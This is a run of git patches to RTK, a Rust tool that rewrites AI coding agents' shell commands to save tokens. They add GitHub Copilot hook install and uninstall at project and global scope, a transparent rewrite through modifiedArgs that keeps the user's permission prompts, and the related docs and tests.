a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -74,6 +74,14 @@ rtk init --copilot Writes one `.github/hooks/rtk-rewrite.json` serving both hosts: VS Code Copilot Chat reads its `PreToolUse` entry (transparent rewrite), GitHub Copilot CLI reads its `preToolUse` entry (deny-with-suggestion; the agent retries with `rtk`). +Uninstall (project-scoped): + +```bash +rtk init --uninstall --copilot +``` + +Removes `.github/hooks/rtk-rewrite.json` and the RTK block from `.github/copilot-instructions.md` (your own content is preserved). + ### Gemini CLI ```bash diff --git a/src/core/telemetry.rs b/src/core/telemetry.rs index 97e057be10..426c1e1fc6 100644 --- a/src/core/telemetry.rs +++ b/src/core/telemetry.rs @@ -368,11 +368,14 @@ fn detect_hook_type() -> String { } } - // Check project-level hooks + // Check project-level hooks (Claude script + project-scoped Copilot config) if let Ok(cwd) = std::env::current_dir() { if cwd.join(".claude/hooks/rtk-rewrite.sh").exists() { return "claude".to_string(); } + if cwd.join(".github/hooks/rtk-rewrite.json").exists() { + return "copilot".to_string(); + } } "none".to_string() @@ -571,7 +574,7 @@ mod tests { assert!(stats.low_savings_commands.len() <= 5); assert!((0.0..=100.0).contains(&stats.avg_savings_per_command)); assert!( - ["claude", "gemini", "codex", "cursor", "none", "unknown"] + ["claude", "gemini", "codex", "cursor", "copilot", "none", "unknown"] .iter() .any(|&h| stats.hook_type.starts_with(h)), "Unexpected hook type: {}", @@ -583,7 +586,8 @@ mod tests { fn test_detect_hook_type_returns_known() { let ht = detect_hook_type(); assert!( - ["claude", "gemini", "codex", "cursor", "none", "unknown"].contains(&ht.as_str()), + ["claude", "gemini", "codex", "cursor", "copilot", "none", "unknown"] + .contains(&ht.as_str()), "Unexpected hook type: {}", ht ); diff --git a/src/discover/report.rs b/src/discover/report.rs index c2c523e246..af4dd453d7 100644 --- a/src/discover/report.rs +++ b/src/discover/report.rs @@ -1,8 +1,8 @@ //! Data types for reporting which commands RTK can and cannot optimize. use crate::hooks::constants::{ - CURSOR_DIR, HERMES_DIR, HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, - HOOKS_SUBDIR, REWRITE_HOOK_FILE, + COPILOT_HOOK_FILE, CURSOR_DIR, GITHUB_DIR, HERMES_DIR, HERMES_PLUGINS_SUBDIR, + HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, HOOKS_SUBDIR, REWRITE_HOOK_FILE, }; use serde::Serialize; use std::path::Path; @@ -52,13 +52,19 @@ pub struct UnsupportedEntry { pub struct AgentIntegrationStatus { pub cursor_hook_installed: bool, pub hermes_plugin_installed: bool, + pub copilot_hook_installed: bool, } impl AgentIntegrationStatus { pub fn detect() -> Self { - dirs::home_dir() + let mut status = dirs::home_dir() .map(|home| Self::detect_from_home(&home)) - .unwrap_or_default() + .unwrap_or_default(); + // Copilot is project-scoped (.github/hooks/), unlike the home-based agents. + status.copilot_hook_installed = std::env::current_dir() + .map(|cwd| Self::copilot_hook_installed_in(&cwd)) + .unwrap_or(false); + status } fn detect_from_home(home: &Path) -> Self { @@ -74,8 +80,16 @@ impl AgentIntegrationStatus { .join(HERMES_PLUGIN_NAME) .join(HERMES_PLUGIN_MANIFEST_FILE) .is_file(), + copilot_hook_installed: false, } } + + fn copilot_hook_installed_in(dir: &Path) -> bool { + dir.join(GITHUB_DIR) + .join(HOOKS_SUBDIR) + .join(COPILOT_HOOK_FILE) + .exists() + } } /// Full discover report. @@ -221,6 +235,10 @@ fn append_agent_notes(out: &mut String, status: AgentIntegrationStatus) { if status.hermes_plugin_installed { out.push_str("\nNote: Hermes plugin is installed; Hermes sessions are tracked via `rtk gain` (discover scans Claude Code only)\n"); } + + if status.copilot_hook_installed { + out.push_str("\nNote: GitHub Copilot sessions are tracked via `rtk gain` (discover scans Claude Code only)\n"); + } } /// Format report as JSON. @@ -362,6 +380,7 @@ mod tests { report.agent_status = AgentIntegrationStatus { cursor_hook_installed: true, hermes_plugin_installed: true, + copilot_hook_installed: true, }; let output = format_json(&report); @@ -369,5 +388,42 @@ mod tests { assert_eq!(json["agent_status"]["cursor_hook_installed"], true); assert_eq!(json["agent_status"]["hermes_plugin_installed"], true); + assert_eq!(json["agent_status"]["copilot_hook_installed"], true); + } + + #[test] + fn test_agent_status_detects_copilot_hook_in_project() { + let temp = tempfile::tempdir().unwrap(); + let hook = temp + .path() + .join(GITHUB_DIR) + .join(HOOKS_SUBDIR) + .join(COPILOT_HOOK_FILE); + std::fs::create_dir_all(hook.parent().unwrap()).unwrap(); + std::fs::write(&hook, "{}").unwrap(); + + assert!(AgentIntegrationStatus::copilot_hook_installed_in( + temp.path() + )); + assert!(!AgentIntegrationStatus::copilot_hook_installed_in( + tempfile::tempdir().unwrap().path() + )); + } + + #[test] + fn test_format_text_reports_copilot_detected() { + let mut report = make_report(0, 0); + report.agent_status = AgentIntegrationStatus { + copilot_hook_installed: true, + ..AgentIntegrationStatus::default() + }; + + let output = format_text(&report, 10, false); + + assert!( + output.contains("GitHub Copilot sessions are tracked via `rtk gain`"), + "Expected Copilot note in output but got:\n{}", + output + ); } } diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 3f57cf6ae4..ac0e4ab577 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -3951,6 +3951,82 @@ fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { Ok(()) } +/// Entry point for `rtk init --uninstall --copilot` (project-scoped, like install). +pub fn uninstall_copilot(ctx: InitContext) -> Result<()> { + let InitContext { dry_run, .. } = ctx; + let removed = uninstall_copilot_at(Path::new("."), ctx)?; + + if removed.is_empty() { + println!("RTK Copilot support was not installed (nothing to remove)"); + } else { + let header = if dry_run { + "[dry-run] would uninstall RTK (GitHub Copilot):" + } else { + "RTK uninstalled (GitHub Copilot):" + }; + println!("{}", header); + for item in &removed { + println!(" - {}", item); + } + if !dry_run { + println!("\nRestart your IDE or Copilot CLI session to apply changes."); + } + } + + if dry_run { + print_dry_run_footer(); + } + Ok(()) +} + +/// Same as [`uninstall_copilot`] but operates relative to an explicit base path. +fn uninstall_copilot_at(base: &Path, ctx: InitContext) -> Result> { + let InitContext { dry_run, .. } = ctx; + let github_dir = base.join(GITHUB_DIR); + let mut removed = Vec::new(); + + let hook_path = github_dir.join(HOOKS_SUBDIR).join(COPILOT_HOOK_FILE); + if hook_path.exists() { + if dry_run { + println!( + "[dry-run] would remove hook config: {}", + hook_path.display() + ); + } else { + fs::remove_file(&hook_path) + .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; + } + removed.push(format!("Hook config: {}", hook_path.display())); + } + + let instructions_path = github_dir.join(COPILOT_INSTRUCTIONS_FILE); + if instructions_path.exists() { + let content = fs::read_to_string(&instructions_path) + .with_context(|| format!("Failed to read {}", instructions_path.display()))?; + if content.contains(RTK_BLOCK_START) { + let (cleaned, did_remove) = remove_rtk_block(&content); + if did_remove { + if dry_run { + println!( + "[dry-run] would remove rtk-instructions block from {}", + instructions_path.display() + ); + } else { + atomic_write(&instructions_path, &cleaned).with_context(|| { + format!("Failed to write {}", instructions_path.display()) + })?; + } + removed.push(format!( + "{}: removed rtk-instructions block", + COPILOT_INSTRUCTIONS_FILE + )); + } + } + } + + Ok(removed) +} + #[cfg(test)] mod tests { use super::*; @@ -6302,6 +6378,72 @@ mod tests { assert_eq!(v["hooks"]["preToolUse"][0]["bash"], "rtk hook copilot"); } + #[test] + fn test_copilot_uninstall_removes_hook_and_block() { + let temp = TempDir::new().unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + + let hook_path = temp + .path() + .join(".github") + .join("hooks") + .join("rtk-rewrite.json"); + let instructions_path = temp.path().join(".github").join("copilot-instructions.md"); + assert!(hook_path.exists()); + + let removed = uninstall_copilot_at(temp.path(), InitContext::default()).unwrap(); + + assert!(!removed.is_empty()); + assert!(!hook_path.exists(), "hook config must be removed"); + let instructions = fs::read_to_string(&instructions_path).unwrap(); + assert!( + !instructions.contains(RTK_BLOCK_START), + "RTK block must be removed" + ); + } + + #[test] + fn test_copilot_uninstall_preserves_user_instructions() { + let temp = TempDir::new().unwrap(); + let github_dir = temp.path().join(".github"); + fs::create_dir_all(&github_dir).unwrap(); + let instructions_path = github_dir.join("copilot-instructions.md"); + fs::write(&instructions_path, "# My rules\n\nAlways use pnpm.\n").unwrap(); + + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + uninstall_copilot_at(temp.path(), InitContext::default()).unwrap(); + + let after = fs::read_to_string(&instructions_path).unwrap(); + assert!(after.contains("Always use pnpm."), "user content preserved"); + assert!(!after.contains(RTK_BLOCK_START), "RTK block removed"); + } + + #[test] + fn test_copilot_uninstall_dry_run_keeps_files() { + let temp = TempDir::new().unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + let hook_path = temp + .path() + .join(".github") + .join("hooks") + .join("rtk-rewrite.json"); + + let ctx = InitContext { + verbose: 0, + dry_run: true, + }; + uninstall_copilot_at(temp.path(), ctx).unwrap(); + + assert!(hook_path.exists(), "dry-run must not remove hook config"); + } + + #[test] + fn test_copilot_uninstall_nothing_when_absent() { + let temp = TempDir::new().unwrap(); + let removed = uninstall_copilot_at(temp.path(), InitContext::default()).unwrap(); + assert!(removed.is_empty(), "nothing to remove in a clean project"); + } + #[test] fn test_copilot_init_refuses_malformed_block() { let temp = TempDir::new().unwrap(); diff --git a/src/main.rs b/src/main.rs index 22e6cbca87..f1715186a5 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1821,6 +1821,8 @@ fn run_cli() -> Result { }; if show { hooks::init::show_config(codex)?; + } else if uninstall && copilot { + hooks::init::uninstall_copilot(ctx)?; } else if uninstall { uninstall_init_dispatch( agent, From 557e57c9f9fe90b090d7bb62024d8bcddd81b732 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 26 May 2026 13:31:20 +0200 Subject: [PATCH 151/257] fix(hook): semgrep marker + regression tests for Copilot hook isolation --- src/hooks/init.rs | 49 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index ac0e4ab577..7e178cf2d7 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -3993,6 +3993,7 @@ fn uninstall_copilot_at(base: &Path, ctx: InitContext) -> Result> { hook_path.display() ); } else { + // nosemgrep: filesystem-deletion -- Copilot uninstall removes only the RTK-managed hook config. fs::remove_file(&hook_path) .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; } @@ -6444,6 +6445,54 @@ mod tests { assert!(removed.is_empty(), "nothing to remove in a clean project"); } + #[test] + fn test_copilot_install_does_not_touch_other_hooks() { + let temp = TempDir::new().unwrap(); + let hooks_dir = temp.path().join(".github").join("hooks"); + fs::create_dir_all(&hooks_dir).unwrap(); + let other_hook = hooks_dir.join("user-policy.json"); + let other_content = + r#"{"hooks":{"sessionStart":[{"type":"command","command":"echo hi"}]}}"#; + fs::write(&other_hook, other_content).unwrap(); + + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + + assert!(other_hook.exists(), "third-party hook file must remain"); + assert_eq!( + fs::read_to_string(&other_hook).unwrap(), + other_content, + "third-party hook content must be unchanged by rtk install" + ); + } + + #[test] + fn test_copilot_uninstall_does_not_touch_other_hooks() { + let temp = TempDir::new().unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); + + let hooks_dir = temp.path().join(".github").join("hooks"); + let other_hook = hooks_dir.join("user-policy.json"); + let other_content = + r#"{"hooks":{"sessionStart":[{"type":"command","command":"echo hi"}]}}"#; + fs::write(&other_hook, other_content).unwrap(); + + uninstall_copilot_at(temp.path(), InitContext::default()).unwrap(); + + assert!( + other_hook.exists(), + "third-party hook file must survive rtk uninstall" + ); + assert_eq!( + fs::read_to_string(&other_hook).unwrap(), + other_content, + "third-party hook content must be unchanged by rtk uninstall" + ); + assert!( + !hooks_dir.join("rtk-rewrite.json").exists(), + "rtk's own hook must still be removed" + ); + } + #[test] fn test_copilot_init_refuses_malformed_block() { let temp = TempDir::new().unwrap(); From 4b0bbf269b34e953bf08b6d15b2ffc13cf812fb3 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 26 May 2026 19:56:04 +0200 Subject: [PATCH 152/257] feat(hook): --global Copilot install + transparent rewrite via modifiedArgs --- .../guide/getting-started/supported-agents.md | 12 +- src/hooks/constants.rs | 2 + src/hooks/hook_cmd.rs | 66 +++++-- src/hooks/init.rs | 180 +++++++++++++++++- src/main.rs | 12 +- 5 files changed, 245 insertions(+), 27 deletions(-) diff --git a/docs/guide/getting-started/supported-agents.md b/docs/guide/getting-started/supported-agents.md index 5007c10be5..80f22f39e8 100644 --- a/docs/guide/getting-started/supported-agents.md +++ b/docs/guide/getting-started/supported-agents.md @@ -30,7 +30,7 @@ Agent runs "cargo test" |-------|-----------------|---------------------------| | Claude Code | Shell hook (`PreToolUse`) | Yes | | VS Code Copilot Chat | Shell hook (`PreToolUse`) | Yes | -| GitHub Copilot CLI | Shell hook (deny-with-suggestion) | No (agent retries) | +| GitHub Copilot CLI | Shell hook (`preToolUse` `modifiedArgs`) | Yes | | Cursor | Shell hook (`preToolUse`) | Yes | | Gemini CLI | Rust binary (`BeforeTool`) | Yes | | OpenCode | TypeScript plugin (`tool.execute.before`) | Yes | @@ -69,18 +69,20 @@ Restart Cursor. The hook uses `preToolUse` with Cursor's `updated_input` format. ### GitHub Copilot (VS Code Chat + CLI) ```bash -rtk init --copilot +rtk init --copilot # project-scoped (.github/hooks/) +rtk init --global --copilot # user-scoped (~/.copilot/hooks/, respects $COPILOT_HOME) ``` -Writes one `.github/hooks/rtk-rewrite.json` serving both hosts: VS Code Copilot Chat reads its `PreToolUse` entry (transparent rewrite), GitHub Copilot CLI reads its `preToolUse` entry (deny-with-suggestion; the agent retries with `rtk`). +Project-scoped writes `.github/hooks/rtk-rewrite.json` (both hosts get transparent rewrite — VS Code Chat via `updatedInput`, Copilot CLI via `modifiedArgs`) plus the RTK block in `.github/copilot-instructions.md`. User-scoped writes only `~/.copilot/hooks/rtk-rewrite.json` — the Copilot CLI docs define no user-level instructions file. -Uninstall (project-scoped): +Uninstall: ```bash rtk init --uninstall --copilot +rtk init --uninstall --global --copilot ``` -Removes `.github/hooks/rtk-rewrite.json` and the RTK block from `.github/copilot-instructions.md` (your own content is preserved). +Removes only RTK's hook file (and, for project, the RTK block in `copilot-instructions.md`). Other files in `.github/hooks/` or `~/.copilot/hooks/` and your own instruction content are untouched. ### Gemini CLI diff --git a/src/hooks/constants.rs b/src/hooks/constants.rs index f9a6922642..23d2e10899 100644 --- a/src/hooks/constants.rs +++ b/src/hooks/constants.rs @@ -25,6 +25,8 @@ pub const GEMINI_DIR: &str = ".gemini"; pub const GITHUB_DIR: &str = ".github"; pub const COPILOT_HOOK_FILE: &str = "rtk-rewrite.json"; pub const COPILOT_INSTRUCTIONS_FILE: &str = "copilot-instructions.md"; +pub const COPILOT_USER_DIR: &str = ".copilot"; +pub const COPILOT_HOME_ENV: &str = "COPILOT_HOME"; pub const PI_DIR: &str = ".pi/agent"; pub const PI_LOCAL_DIR: &str = ".pi"; diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 2f29a2d7c3..d5f5c3753f 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -31,7 +31,7 @@ fn read_stdin_limited() -> Result { enum HookFormat { /// VS Code Copilot Chat / Claude Code: `tool_name` + `tool_input.command`, supports `updatedInput`. VsCode { command: String }, - /// GitHub Copilot CLI: camelCase `toolName` + `toolArgs` (JSON string), deny-with-suggestion only. + /// GitHub Copilot CLI: camelCase `toolName` + `toolArgs` (JSON string), supports `modifiedArgs` for transparent rewrite. CopilotCli { command: String }, /// Non-bash tool, already uses rtk, or unknown format — pass through silently. PassThrough, @@ -156,27 +156,24 @@ fn handle_vscode(cmd: &str) -> Result<()> { } fn handle_copilot_cli(cmd: &str) -> Result<()> { + if let Some(response) = copilot_cli_response(cmd) { + let _ = writeln!(io::stdout(), "{response}"); + } + Ok(()) +} + +fn copilot_cli_response(cmd: &str) -> Option { if permissions::check_command(cmd) == PermissionVerdict::Deny { audit_log("deny", cmd, ""); - return Ok(()); + return None; } - - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => return Ok(()), - }; - + let rewritten = get_rewritten(cmd)?; audit_log("rewrite", cmd, &rewritten); - - let output = json!({ - "permissionDecision": "deny", - "permissionDecisionReason": format!( - "Token savings: use `{}` instead (rtk saves 60-90% tokens)", - rewritten - ) - }); - let _ = writeln!(io::stdout(), "{output}"); - Ok(()) + Some(json!({ + "permissionDecision": "allow", + "permissionDecisionReason": "RTK auto-rewrite", + "modifiedArgs": { "command": rewritten } + })) } // ── Gemini hook ─────────────────────────────────────────────── @@ -621,6 +618,39 @@ mod tests { assert!(get_rewritten("cat <<'EOF'\nhello\nEOF").is_none()); } + // --- Copilot CLI handler: transparent rewrite via modifiedArgs --- + + #[test] + fn test_copilot_cli_transparent_rewrite() { + let r = copilot_cli_response("cargo test").unwrap(); + assert_eq!(r["permissionDecision"], "allow"); + assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); + } + + #[test] + fn test_copilot_cli_passthrough_unsupported() { + assert!(copilot_cli_response("htop").is_none()); + } + + #[test] + fn test_copilot_cli_passthrough_already_rtk() { + assert!(copilot_cli_response("rtk cargo test").is_none()); + } + + #[test] + fn test_copilot_cli_passthrough_heredoc() { + assert!(copilot_cli_response("cat < Result> { Ok(removed) } +fn copilot_user_dir() -> Result { + if let Ok(custom) = std::env::var(COPILOT_HOME_ENV) { + return Ok(PathBuf::from(custom)); + } + let home = dirs::home_dir().context("could not determine home directory")?; + Ok(home.join(COPILOT_USER_DIR)) +} + +pub fn run_copilot_global(ctx: InitContext) -> Result<()> { + let copilot_dir = copilot_user_dir()?; + run_copilot_global_at(&copilot_dir, ctx) +} + +fn run_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result<()> { + let InitContext { dry_run, .. } = ctx; + let hooks_dir = copilot_dir.join(HOOKS_SUBDIR); + + if !dry_run { + fs::create_dir_all(&hooks_dir) + .with_context(|| format!("Failed to create {} directory", hooks_dir.display()))?; + } + + let hook_path = hooks_dir.join(COPILOT_HOOK_FILE); + write_if_changed( + &hook_path, + COPILOT_HOOK_JSON, + "Copilot global hook config", + ctx, + )?; + + if dry_run { + print_dry_run_footer(); + } else { + println!("\nGitHub Copilot global integration installed (user-scoped).\n"); + println!(" Hook config: {}", hook_path.display()); + println!("\n Applies to all Copilot CLI sessions on this machine."); + println!(" Restart your Copilot CLI session to activate.\n"); + } + + Ok(()) +} + +pub fn uninstall_copilot_global(ctx: InitContext) -> Result<()> { + let copilot_dir = copilot_user_dir()?; + let InitContext { dry_run, .. } = ctx; + let removed = uninstall_copilot_global_at(&copilot_dir, ctx)?; + + if removed.is_empty() { + println!("RTK global Copilot support was not installed (nothing to remove)"); + } else { + let header = if dry_run { + "[dry-run] would uninstall RTK (global GitHub Copilot):" + } else { + "RTK uninstalled (global GitHub Copilot):" + }; + println!("{}", header); + for item in &removed { + println!(" - {}", item); + } + if !dry_run { + println!("\nRestart your Copilot CLI session to apply changes."); + } + } + + if dry_run { + print_dry_run_footer(); + } + Ok(()) +} + +fn uninstall_copilot_global_at(copilot_dir: &Path, ctx: InitContext) -> Result> { + let InitContext { dry_run, .. } = ctx; + let hook_path = copilot_dir.join(HOOKS_SUBDIR).join(COPILOT_HOOK_FILE); + let mut removed = Vec::new(); + + if hook_path.exists() { + if dry_run { + println!( + "[dry-run] would remove hook config: {}", + hook_path.display() + ); + } else { + // nosemgrep: filesystem-deletion -- Copilot global uninstall removes only the RTK-managed hook config. + fs::remove_file(&hook_path) + .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; + } + removed.push(format!("Hook config: {}", hook_path.display())); + } + + Ok(removed) +} + #[cfg(test)] mod tests { use super::*; @@ -6493,6 +6585,90 @@ mod tests { ); } + #[test] + fn test_copilot_global_install_writes_hook() { + let temp = TempDir::new().unwrap(); + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + + let hook_path = temp.path().join("hooks").join("rtk-rewrite.json"); + assert!(hook_path.exists()); + let v: serde_json::Value = + serde_json::from_str(&fs::read_to_string(&hook_path).unwrap()).unwrap(); + assert_eq!(v["version"], 1); + assert_eq!(v["hooks"]["PreToolUse"][0]["command"], "rtk hook copilot"); + assert_eq!(v["hooks"]["preToolUse"][0]["bash"], "rtk hook copilot"); + } + + #[test] + fn test_copilot_global_install_does_not_write_instructions() { + let temp = TempDir::new().unwrap(); + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + assert!( + !temp.path().join(COPILOT_INSTRUCTIONS_FILE).exists(), + "global install must not create a user-level instructions file (undocumented path)" + ); + } + + #[test] + fn test_copilot_global_uninstall_removes_hook() { + let temp = TempDir::new().unwrap(); + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + let hook_path = temp.path().join("hooks").join("rtk-rewrite.json"); + assert!(hook_path.exists()); + + let removed = uninstall_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + assert!(!removed.is_empty()); + assert!(!hook_path.exists()); + } + + #[test] + fn test_copilot_global_uninstall_nothing_when_absent() { + let temp = TempDir::new().unwrap(); + let removed = uninstall_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + assert!(removed.is_empty()); + } + + #[test] + fn test_copilot_global_install_does_not_touch_other_hooks() { + let temp = TempDir::new().unwrap(); + let hooks_dir = temp.path().join("hooks"); + fs::create_dir_all(&hooks_dir).unwrap(); + let other = hooks_dir.join("notification-hooks.json"); + let payload = r#"{"version":1,"hooks":{"agentStop":[{"type":"command","bash":"true"}]}}"#; + fs::write(&other, payload).unwrap(); + + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + + assert_eq!(fs::read_to_string(&other).unwrap(), payload); + } + + #[test] + fn test_copilot_global_uninstall_does_not_touch_other_hooks() { + let temp = TempDir::new().unwrap(); + run_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + let hooks_dir = temp.path().join("hooks"); + let other = hooks_dir.join("notification-hooks.json"); + let payload = r#"{"version":1,"hooks":{"agentStop":[{"type":"command","bash":"true"}]}}"#; + fs::write(&other, payload).unwrap(); + + uninstall_copilot_global_at(temp.path(), InitContext::default()).unwrap(); + + assert!(other.exists()); + assert_eq!(fs::read_to_string(&other).unwrap(), payload); + assert!(!hooks_dir.join("rtk-rewrite.json").exists()); + } + + #[test] + fn test_copilot_global_install_dry_run_writes_nothing() { + let temp = TempDir::new().unwrap(); + let ctx = InitContext { + verbose: 0, + dry_run: true, + }; + run_copilot_global_at(temp.path(), ctx).unwrap(); + assert!(!temp.path().join("hooks").join("rtk-rewrite.json").exists()); + } + #[test] fn test_copilot_init_refuses_malformed_block() { let temp = TempDir::new().unwrap(); diff --git a/src/main.rs b/src/main.rs index f1715186a5..be4e0a07be 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1822,7 +1822,11 @@ fn run_cli() -> Result { if show { hooks::init::show_config(codex)?; } else if uninstall && copilot { - hooks::init::uninstall_copilot(ctx)?; + if global { + hooks::init::uninstall_copilot_global(ctx)?; + } else { + hooks::init::uninstall_copilot(ctx)?; + } } else if uninstall { uninstall_init_dispatch( agent, @@ -1843,7 +1847,11 @@ fn run_cli() -> Result { }; hooks::init::run_gemini(global, hook_only, patch_mode, ctx)?; } else if copilot { - hooks::init::run_copilot(ctx)?; + if global { + hooks::init::run_copilot_global(ctx)?; + } else { + hooks::init::run_copilot(ctx)?; + } } else if agent == Some(AgentTarget::Pi) { hooks::init::run_pi_mode(global, ctx)? } else if agent == Some(AgentTarget::Kilocode) { From 69c10b65887527d5cf95e2c48f8c1b58a1fd3077 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 26 May 2026 20:41:03 +0200 Subject: [PATCH 153/257] fix(hook): default Copilot CLI rewrite to 'ask' to preserve permission prompts --- src/hooks/hook_cmd.rs | 31 +++++++++++++++++++++++++++---- 1 file changed, 27 insertions(+), 4 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index d5f5c3753f..0f54cf58f0 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -163,14 +163,22 @@ fn handle_copilot_cli(cmd: &str) -> Result<()> { } fn copilot_cli_response(cmd: &str) -> Option { - if permissions::check_command(cmd) == PermissionVerdict::Deny { + copilot_cli_response_for_verdict(cmd, permissions::check_command(cmd)) +} + +fn copilot_cli_response_for_verdict(cmd: &str, verdict: PermissionVerdict) -> Option { + if verdict == PermissionVerdict::Deny { audit_log("deny", cmd, ""); return None; } let rewritten = get_rewritten(cmd)?; audit_log("rewrite", cmd, &rewritten); + let decision = match verdict { + PermissionVerdict::Allow => "allow", + _ => "ask", + }; Some(json!({ - "permissionDecision": "allow", + "permissionDecision": decision, "permissionDecisionReason": "RTK auto-rewrite", "modifiedArgs": { "command": rewritten } })) @@ -621,12 +629,27 @@ mod tests { // --- Copilot CLI handler: transparent rewrite via modifiedArgs --- #[test] - fn test_copilot_cli_transparent_rewrite() { - let r = copilot_cli_response("cargo test").unwrap(); + fn test_copilot_cli_default_verdict_returns_ask_with_rewrite() { + let r = copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Default).unwrap(); + assert_eq!( + r["permissionDecision"], "ask", + "Default must be 'ask' so the user is still prompted for the rewritten command" + ); + assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); + } + + #[test] + fn test_copilot_cli_explicit_allow_returns_allow_with_rewrite() { + let r = copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Allow).unwrap(); assert_eq!(r["permissionDecision"], "allow"); assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); } + #[test] + fn test_copilot_cli_deny_verdict_returns_none() { + assert!(copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Deny).is_none()); + } + #[test] fn test_copilot_cli_passthrough_unsupported() { assert!(copilot_cli_response("htop").is_none()); From 6c5e440d83b30168c61e4c4b0c79847414a7c509 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 26 May 2026 20:50:06 +0200 Subject: [PATCH 154/257] fix(hook): preserve Copilot CLI toolArgs metadata when rewriting command --- src/hooks/hook_cmd.rs | 86 +++++++++++++++++++++++++++++++++++-------- 1 file changed, 71 insertions(+), 15 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 0f54cf58f0..72a449ff31 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -32,7 +32,9 @@ enum HookFormat { /// VS Code Copilot Chat / Claude Code: `tool_name` + `tool_input.command`, supports `updatedInput`. VsCode { command: String }, /// GitHub Copilot CLI: camelCase `toolName` + `toolArgs` (JSON string), supports `modifiedArgs` for transparent rewrite. - CopilotCli { command: String }, + /// Carries the full parsed `toolArgs` object so we can rewrite `command` while preserving + /// host-supplied metadata (description, initial_wait, mode, …) the tool requires. + CopilotCli { command: String, args: Value }, /// Non-bash tool, already uses rtk, or unknown format — pass through silently. PassThrough, } @@ -59,7 +61,7 @@ pub fn run_copilot() -> Result<()> { match detect_format(&v) { HookFormat::VsCode { command } => handle_vscode(&command), - HookFormat::CopilotCli { command } => handle_copilot_cli(&command), + HookFormat::CopilotCli { command, args } => handle_copilot_cli(&command, &args), HookFormat::PassThrough => Ok(()), } } @@ -93,6 +95,7 @@ fn detect_format(v: &Value) -> HookFormat { { return HookFormat::CopilotCli { command: cmd.to_string(), + args: tool_args, }; } } @@ -155,18 +158,22 @@ fn handle_vscode(cmd: &str) -> Result<()> { Ok(()) } -fn handle_copilot_cli(cmd: &str) -> Result<()> { - if let Some(response) = copilot_cli_response(cmd) { +fn handle_copilot_cli(cmd: &str, args: &Value) -> Result<()> { + if let Some(response) = copilot_cli_response(cmd, args) { let _ = writeln!(io::stdout(), "{response}"); } Ok(()) } -fn copilot_cli_response(cmd: &str) -> Option { - copilot_cli_response_for_verdict(cmd, permissions::check_command(cmd)) +fn copilot_cli_response(cmd: &str, args: &Value) -> Option { + copilot_cli_response_for_verdict(cmd, args, permissions::check_command(cmd)) } -fn copilot_cli_response_for_verdict(cmd: &str, verdict: PermissionVerdict) -> Option { +fn copilot_cli_response_for_verdict( + cmd: &str, + args: &Value, + verdict: PermissionVerdict, +) -> Option { if verdict == PermissionVerdict::Deny { audit_log("deny", cmd, ""); return None; @@ -177,10 +184,14 @@ fn copilot_cli_response_for_verdict(cmd: &str, verdict: PermissionVerdict) -> Op PermissionVerdict::Allow => "allow", _ => "ask", }; + let mut modified = args.clone(); + if let Some(obj) = modified.as_object_mut() { + obj.insert("command".into(), Value::String(rewritten)); + } Some(json!({ "permissionDecision": decision, "permissionDecisionReason": "RTK auto-rewrite", - "modifiedArgs": { "command": rewritten } + "modifiedArgs": modified })) } @@ -628,9 +639,18 @@ mod tests { // --- Copilot CLI handler: transparent rewrite via modifiedArgs --- + fn cli_args(cmd: &str) -> Value { + json!({ "command": cmd }) + } + #[test] fn test_copilot_cli_default_verdict_returns_ask_with_rewrite() { - let r = copilot_cli_response_for_verdict("cargo test", PermissionVerdict::Default).unwrap(); + let r = copilot_cli_response_for_verdict( + "cargo test", + &cli_args("cargo test"), + PermissionVerdict::Default, + ) + .unwrap(); assert_eq!( r["permissionDecision"], "ask", "Default must be 'ask' so the user is still prompted for the rewritten command" @@ -640,40 +660,76 @@ mod tests { #[test] fn test_copilot_cli_explicit_allow_returns_allow_with_rewrite() { - let r = copilot_cli_response_for_verdict("cargo test", 